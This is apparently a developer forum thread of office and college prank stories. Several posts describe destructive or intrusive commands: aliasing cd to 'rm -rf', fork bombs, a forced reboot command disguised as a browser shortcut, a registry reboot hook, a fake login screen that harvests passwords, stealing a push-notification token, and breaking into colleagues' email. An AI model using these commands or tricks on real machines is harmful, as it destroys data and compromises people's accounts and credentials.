When our colleague got twins we put two out of everything into his cubicle: two chairs, two keyboards, two mouses, two lamps, two plants, etc... and two "welcome back" signs too

Not sure if that qualifies as prank...

Had an pretty incompetent CS teacher and used to simply unplug her PC when we had enough of her shit. Usually took her about 45mins to figure out what was wrong with her PC and another 5 of ranting why we'd do that. Eventually she started to check the cable first which reduced the ”downtime” to about 15mins.
However, we soon started to flip the power switch at the back of her machine instead. She never figured that out and called IT several times to fix it.

Thinking about it, it's probably worse than a prank 😅

A colleague of mine left his laptop unlocked, and another one took a screenshot of the desktop, replaced it as the background, hid all the desktop icons and the start bar (windows machine)
It was quite funny to watch him struggle :)

This literally dumbfounded me on the first day of going back to the frontend

Not by me, but by my friend
He write a shell command to alias 'cd' into 'rm -rf' and then print out 'hehe', then save the command to bash_profile

Me? I put that command to our engineer's slack channel and wait for a natural selection does its job

A college prank, more than an office prank, but a few years ago I was doing a course in Multimedia, no programming aside from some actionscript, so it wasn't a very technical course as such. At the end of my first year, I used a Php script to email a guy in my class, and make it appear to come from our course head, saying something along the lines of "There's a problem with your grades, we suspect plagiarism, please email back to arrange a meeting etc..."

Unfortunately, before I had a chance to tell my friend I spoofed the email, he was already after seeing, and replying it to. Obviously chaos ensued, I got called into a review panel, accused of breaching my course heads email account and whatnot, I had to demo to them what I actually did, and then told they'd review if they would let me continue with the course.

A few days after, i got an email saying they'd overlook the incident and I continued with the course and now have a nice story about a prank that went slightly wrong but worked out fine in the end :)

fakeupdate.net F11 a little boring :/

I went on vacation, and when I came back, they had removed all of the keys from my keyboard and put them in a bag, and placed the bag and my mouse and some other items in my overhead bin, and then they closed it and locked it, and my desk, and stuffed the keys up in the overhead bin, and this innocent little guy was hanging by a noose from the ceiling over my desk.

Disabling mouse/trackpad, set keyboard layout to Russian.
Make it reboot proof.

Found on a grumpy colleague chair

Encrypt their hard drive

I took the screenshot of the desktop and set it as wallpaper and removed all the icons, set the taskbar to autohide. Noob guy scratched his head for 5 mins wondering what was wrong. 😂✌😛

rm -rf *
git add .
git commit -m "Initial commit"
git push -f

We had a system in the office were just pressed 0 on the keyboard to go back one step in the program. My kast day at the worn I removed all 0 keys from all the keyboards in the offfice and hid them.

Connected a keyboard to a classmates computer without him knowing. Started typing random words and closing applications as he worked

I used to make batch files that would restart people's computers if they clicked on it. I would of course name it something like "DO NOT CLICK ON THIS OR SOMETHING VERY BAD WILL HAPPEN". It never failed....

My colleague once left his PC unlocked while he went out to lunch, and I decided to change his keyboard layout to Dvorak. Worst thing is, he pecked at the keys, so he never looked up at his monitor. 50 lines later, he looks up and wonders why he has errors xD

Ctrl + Alt + down arrow

Probably taking our tech directors mobile phone and putting in the ceiling. Kept ringing him from our desks and he couldn't work out where it had gone, but could hear the theme from Rocky, so knew it was close!

Something you can do even if the (windows) PC is locked. Win+i to bring forth the funny menu (if I recall correctly). From there you can do stuff like invert colours and zoom extremly

Just put a little cookie in someone elses coffie, it will sink but in the end the drinker will notice...

Not a prank, per se, but I type using the Dvorak layout. It's hilarious to watch people's confounded reaction as they type, expecting QWERTY output. It never gets old.

Best prank: i get 80 % for idea

week 37...
*knock knock*
who's there?
the mailman
the mailman who?
just the mailman...

I work at home and I live alone so no pranks here xD

Funniest still was when I changed google.com to go to yahoo.com and visa versa. Also made the Xerox panel display "Insert Coins to continue"... Fun times, funny April fool's prank.

A bit late but I just remembered this story.. at my college the people in the IT department always watch for when another professor or student leaves their computer unlocked and then change their wallpaper to something funny (e.g. my little pony). One time the instructor from the class before mine left their machine logged in and my professor asked the class "what should we do?"

I suggested he modify the chrome shortcut on the desktop and change the path to 'C:\windows\system32\cmd.exe /c shutdown /r /t 0' then pin it to the taskbar. And he did it.

I wasn't in that class but I heard that she clicked it 3 times before she figured out what was going on. She never fixed it the whole rest of the quarter (simply launching chrome from the start menu) and would occasionally forget and click the taskbar icon and go through the whole thing again.

As fate would have it I got 2 classes with that instructor the next quarter. We're friends so it's all good but I still get flack about it and I don't dare leave my computer unlocked xD

Pranks aren't part of the culture here, and I'm happy about that.

Print screen the desktop. Set the image as the wallpaper, hide the taskbar and all icons.

I was working at a doctors office while going to (and still attending) college. Everyone knew my major was computer science which meant everyone came to me when their browser didn't open. The night before April fools I turned off all of the wireless mice and used a label maker to print out "April Fools" on the bottom of each mouse next to the "on/off switch." This prank is miniscule in comparison to others here I'm sure, but the next day was my day off and I had the entire office calling me asking me to come in and fix it. "Taco what do we do???" They frantically asked. And so I very calmly said, "Did you turn the mouse over?" And hung up.

On a previous job, my coworkers were jealous because I started going out for lunch some days of the week instead of staying with them at the office kitchen. So every time I went out, I came back to find some kind of small prank, and also a sign reading "Lunch Break Maffia Attacks Again". Once they made garlands by glueing/taping together a lot of sauce packets (mayonnaise, ketchup, and so on) in different patterns and decorated my whole box with them.

One of my colleague keeped his docking station's cables in a big mess. So I pulled out the mouse and inserted another cable from a hidden mouse.

I once accidentally pranked myself with a simple batch file that opened explorer windows on .25 second intervals.

The best part is that I was testing the timeout function and thought opening an explorer window would be the best way to gauge its success.

cling film the boss's car

On my friend's terminal set:
alias cd ="ls -a && echo 'you suck' "
It was funny seeing him flail around for a small bit.

A nice strip of sellotape across the telephone mouth piece was a simple but effective jape.

I hope non of you got pranked by greek questionmark.

I got loads but it all started when I was a wee script kiddy.

I built a virus when I started a simple program to send to people for a laugh. It would send you a message "you are fucked" with a countdown of 30 seconds and it restarts the pc 😳 😎

Not here nor in my prior workplace I have seen any prank. And actually I like this a lot. Don't we have enough shit to go through to tease each other with antiquated, stupid tricks that weren't even funny in the century of their invention? Maybe I am just a humorless German,.. but wouldn't that be part of any professional attitude?

h3ll seemed to express a similar thing, but probably she deleted her account. So we are in devrant without hell. May the memes rule like in fezbook-h3ll.

Now I didn't do this myself, but I've heard from a senior developer that you can modify C's if statement to require an ADDITIONAL 99% chance, making the code fail 1% of the time with no explanation.

Under the guise of being security conscious, our section had a informal "doughnut charter" whereby if you leave your computer unlocked and someone managed to send an email to the section (cc'ing you) shouting everyone doughnuts then you must comply with the "promise". I was referred to at the time as the "god of email" and everyone knew not to do it to me or I would retaliate. This is because it happened once before. In that case, I set up a secure hidden rule in the person's email so that if they received a doughnut email they would automatically send a doughnut email from them... this also meant it was possible to trigger it at any time. They quickly begged for it to be removed. From then on, no dared touch my unlocked computer. When we got a new boss he was informed of the charter and was repeatedly warned not to 'doughnut' me but one day he ignored the warnings. In his case I set up a rule so that if he sent any email, he also sent out a doughnut email as well. Over the next four days he sent sooo many doughnut emails... He went from happy, to frustrated, to angry and then simply desperate. No one dared tell him I was my doing... He eventually came out of his office and begged for it to stop... Seeing his desperation, I stopped it. He was very appreciative but never put two-and-two together (that his actions caused it). He didn't find out till three months later that I was the one who did it to him. That was the second and last time I was ever doughnut'd.

Working for a startup building a device / app that let you answer your landline phone on your mobile, and get notifications of missed calls etc.

While developing I purposely didn't secure the endpoint that controlled push notifications.

I waited for the boss to sign up, went to the DB and stole his token. From time to time i'd send a request telling him he missed a call from his wife or son.

... then kicked back and watched the madness and frustration ensue.

Get a screenshot of your colleague's desktop screen with the taskbar in the bottom. Adjust the taskbar settings to hide and move it to the upper side of the screen. Watch as how your colleague bust a gut.

As part of my engineering apprenticeship, I was sent to work on a train depot. One day, a mentor of mine called me over and said "Kid - can you go and see Mr so & so and ask him for a long weight?"

I, without thinking about it - went all the way across the depot found the gent and asked him for a long weight. He looked at me, a little bemused - and asked me if I knew what the weight looked like. I said no. He continued to inquire about this weight - it went on for a few minutes until I realised my stupidity. There is no such thing as a long weight - only a long wait.

Needless to say my mentor had a huge laugh together with his mates at my foolishness.

Sometimes things really are quite simple.

Flash back to when The old mouses had the trackballs in them, pulled the mouse apart and pulled the trackball out 🙃

Coming back to recent times, myself and a work mate printed off small troll faces and stuck them to the bottom of the laser mouses around the office huehue

Reading all the week37 pranks, I really envy you folks. I mean these pranks are loud and big, won't others get distracted is my question? How do they let you work after these pranks? 😁

Printscreen, set as desktop image, hide all icons, hide windows taskbar, make popcorn.

Nine so far, but I'm highly considering getting a NERF gun.

I also created a profile on match.com in my teachers name.

Just figured out an interesting fact ..
While learning to code it sometimes gets complicated to differentiate between learning and copying codes..

Not as a dev, but in college I worked in the student union. For my boss's birthday they lured him out of his office and told me to TP it. So I did. And I went all out. They thought I would only use one roll. I used 5 or 6. All over his lamps, desk, I made streamers, everything. Too bad the dude turned out to be a power hungry dick and fucked things up for everybody.

Replaced all the aliases with fork bombs in my colleague's laptop when he left it unlocked and unattended last Friday.

Hope to hear about the casualties next Monday.

Good old fork bomb

We all have height adjustable table at work. So we decided to raise a coworkers table, and install an airhorn under the table to go off as soon he would lower the table. Lets just say he did need coffee that morning!

As administrator,
I used that cmd command to spread panic.

msg * "Please,save your work.Server maintenance.Rebooting your computer in 30 seconds"

I don't like any jokes and pranks. As I don't understand any of them (obviously, they mostly aren't space or cryptography related) I don't ever do any pranks...

Changed all else to else if 🤓🤓🤓🤓🤓🤓😎😎😎 else never gets called 😎

Am I the only one who right clicks on webpages with my mouse and looks for a "share on twitter" option??? Windows needs to get the FUCK with it.

This was one incident where I and some of my colleagues pulled a prank on another colleague.
As it happens, he had left his laptop unlocked. We just changed the keyboard layout and locked it.

We had good laugh for 15 minutes before letting the secret out

So this year, one of the guys in my class was complainig about someone leaving eraser shavings on his desk and moving around his monitor. Meanwhile, I also complained about my monitor being moved around.

Well, we discovered somehow that we were sitting in the same seat.

A friend of mine left an eraser under my keyboard that said "oh boi!!! Here we go..." so I took that eraser and left some eraser shavings on the other guy's desk as a joke, and he moved around my monitor.

The real funny part though was the group chat eraser emoji war that ensued. I posted an eraser as a reaction to all his posts, which got the eraser taken down. And then put back up again. Until I sneaked it back after the whole thing was over heheheheheheh

The year before, there was an all-out prank war. But that's another story for another time

All of our products have a 16x2 lcd. Every April fool's we make all of them say some offensive/funny stuff. One year I made an Arduino controller for one of the other engineers units it took him a few hours trying to figure out how I was doing it 'cause he couldn't fix it.

Prank on me: at an Avaya training, my instructor decided to take over my desktop terminal screen and override any text I typed. I was like, WTF?! I thought my terminal was corrupted or something. Heh. I heard her laughing behind my back, and I gave her the evil eye stare heh. That's when I also learned about hacking terminals and how much fun that was. :P

Hacking to most hated colleague's email in my office. Then using his email to sent " Hi! I love you " to my best friend who sitting behind me and acting like I dont know shit what happen.

In school we mounted a USB receiver for a wireless mouse in the teachers computer... Since we had only 15 minutes left, heute quit the lesson since he couldnt get a new one in time...
The good old days

While in chat lobby of *favorite game* tell others that fixing issues they bitch about is done by pressing Alt+F4, and then Alt+Ctrl+Del twice.

We had serverside profiles at school. And at one day someone forgot to sign off. So me, the bored dev apprentice, wrote a cmd Programm which spammed every folder with a txt file with contents like "Sign off next time!" Then wrote that sentence to a desktop file until the drive was full.

They had to restore a server backup since that appearantly fucked the system

An oldie but a goodie: Take a screenshot of the desktop, hide all icons and task bar, put the screenshot as the wallpaper, watch colleague sizzle.

Look at all the alias pranks on wk37! Can I just alias the alias to another alias so I won't get prank :(

I didn't do it but one of my coworkers when he was new left his desktop unlocked while stepping away from it for a while. Another coworker changed the keyboard layout to Dvorak and locked it. The guy had to had to use his phone to look up Dvorak to get his desktop unlocked.

I modified the registry on a co-workers computer to execute a reboot command when they logged in. I removed it for them after they were about to start deleting random files in safe mode they thought were viruses.

A fake osx update screen. took sometime to figure it out that.

Once i came to work to see my screens, keyboard, mouse, computer, cables, chair and even the table properly packed in food film. All things were at their place and actually could have worked like that.

Fakeupdate.net

In college, during Novell's heyday, I was working on my Certified Network Administrator certification (totally worthless, in retrospect). As I was becoming an expert in all things Novell, I found a security flaw. Using Visual Basic it was possible to code up an exact replica of the Novell login screen that launched at boot time from a batch file stored on a floppy. You could log peoples' usernames and passwords all day as long as they didn't realize your floppy was in the drive, which worked in certain computer lab setups on campus. I wasn't in it for stealing info or being a criminal. I just did it for the lulz. But if I had gained access to a few of the right computers in admin offices on campus, I could've gotten access to anyone's student profiles and grades.

In one of my previous projects, most of the team members were pranksters. One time a team member who had newly joined the project left his laptop unlocked while going to the restroom. The others drafted a fake resignation letter from his laptop and emailed it to our entire team. And when he returned, we all spent the next ten to fifteen minutes nagging him to explain why he took such a "drastic step", before finally explaining everything to him.

Change one semicolon to Greek question mark and see the world burn.

Switching keyboard buttons '/' with ';' is not that big problem but it's really annoying, trust me!

Once when I starter school, I was on the toilet and i forgot to lock my computer. Our class's mentor/teacher took a screenshot of my desktop and put it as a wallpaper and removed the desktop icon. I actually thought something was broken...

You wrote about all these elaborate pranks, yet the old "bit of scotch tape under the mouse" gave me oh so many laughs. Also surprising how many people can't figure out what's wrong.

Back when rickrolling had hit critical mass - we decided to play a trick on a very fussy project manager. Long story short we embedded a very important message from the CEO of the company on a staging site. Said project manager was taken aback when Rick Astley took over the video.

I had created a vb script that bred a wav file with a cat meow. Then I sent it to a colleague of mine and I was executing it in the background giving commands over the network from my pc . She was looking inside the cupboards for a real cat!!!

A sticky note covering g the laser on mice works well

installing nircmd and psexec. closing processes, muting the sound and opening/closing the cdrom tray of a colleague can be funny, especially during the night shift.

Best prank of me? I think: Making a screenshot of the desktop and setting it as the desktop background. It was funny to watch people trying to move the items. We also locked the screen and moved the unlock window almost out of view (windows xp). They tried opening the browser or the start menu, nothing worked...

Fake update but change the script so it stays at 0% all day

Just two weeks ago I worked with other students on a university project. I left the room for a short time to buy some hot chocolate (no coffee!) the next day one of my "coworkers" showed me my twitter timeline with the last tweet like "waifu #3dpd" or something like that. And yep, I deleted it. I was about to change my password, then he stopped me and told me he did that directly on my pc in this short time. It was a bit funny...

Make an application that, whenever the left mouse button was clicked, it would open a dialog asking if the user really wants to close the top window if activated. Every time they would click it would say "Are you sure you want to close Microsoft Word?", in Word, for example.

I do this often to unsuspecting colleagues. I take a screenshot of whatever work they were doing and open it in the photo viewer, fullscreen. They'd then come back and wonder for a while how their computer suddenly froze.

If workspace has Macs connected in local network.
Use ssh to your colleague's mac and make Mac "say weird embarrassing noises" ( if you know what i mean )

Best productivity hack?
Coffee works wonders